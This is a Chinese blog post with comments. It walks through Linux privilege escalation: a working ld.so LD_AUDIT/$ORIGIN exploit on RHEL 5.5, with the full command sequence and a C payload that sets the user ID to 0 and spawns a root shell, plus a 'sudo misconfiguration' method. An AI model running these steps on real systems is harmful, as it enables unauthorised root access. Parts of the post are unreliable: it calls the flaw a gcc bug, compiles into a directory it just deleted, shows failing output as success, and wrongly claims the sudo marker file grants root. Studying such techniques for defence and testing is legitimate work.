Linux提权(二)

Linux提权
 上一次提权提到了内核漏洞本地提权,SUID提权,但是在面对复杂的服务器环境时需要了解更多的提权方法。上次在ny护网的时候搞到了一台Linux服务器的低权限oracle账号,然后尝试提权成功,所以有了这篇文章。
 
低内核版本提权
发行版本是rhel5.5内核版本是比较低的 2.6.18,但是脏牛漏洞是对内核版本大于2.6.22可以利用,所以我们可以利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限。

1.进入tmp目录并创建目录exploit
cd /tmp
mkdir exploit

 2.查看ping命令所具有的权限
ll /bin/ping

 3.创建target文件硬链接
ln /bin/ping /tmp/exploit/target

4.查看target文件权限
ll /tmp/exploit/target

5.把target文件加载到内存中
exec 3< /tmp/exploit/target

6.查看target在内存的状态
ll /proc/$$/fd/3

7.删除target文件
rm -rf /tmp/exploit/

8.再次查看target在内存的状态
ll /proc/$$/fd/3

9.创建一个c语言代码
vim payload.c
源码:
void __attribute__((constructor)) init()  // 两个下划线
{
setuid(0);
system("/bin/bash");
}


10.利用gcc编译这段代码
gcc -W -fPIC -shared -o /tmp/exploit payload.c


11.提升到root权限
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination


1.png




等到执行完之后就是root权限了。这是一个老版本的gcc编译器漏洞了,虽然老,但是还是学习一下的好。


sudo配置错误

这个方法是在freebuf上的一篇文章上看到的,但是实际情况下还没有见到过。

1.查看 `/home/`目录下是否有.sudo_as_admin_successful文件,如果有的话直接可以输入当前低权限账号的密码直接sudo su切换为root用户。


原文链接:https://www.freebuf.com/vuls/211847.html
以下是原文的利用过程:
靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:


2.png



接着,翻找文件找到其密码:


3.png



然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:


4.png



最后,用 technawi 自己的密码切换为 root 用户:


5.png



linux提权的方法有很多而且很复杂,目前先收集起来,待以后再仔细研究
 

6 个评论

期待linux提权(三)
llpkk

llpkk 回复 zksmile

收到~
分享一点个人经验,文章中提到的第一个提权方法:gcc老版本提权。red hat 5.5在刚开始安装完成以后是没有gcc编辑器的,所以依靠这个漏洞提权之前应该使用:rpm -qa gcc*。如果能匹配到:gcc-c++-4.1.2-44.el5
gcc-4.1.2-44.el5
就代表安装了gcc,即可以使用这个漏洞尝试提权。
口误,是编译器。
red hat 个人版本默认没有gcc ,选择服务器版本就会会自带gcc编译器
我选的就是服务器版本,emmmmmm

要回复文章请先登录注册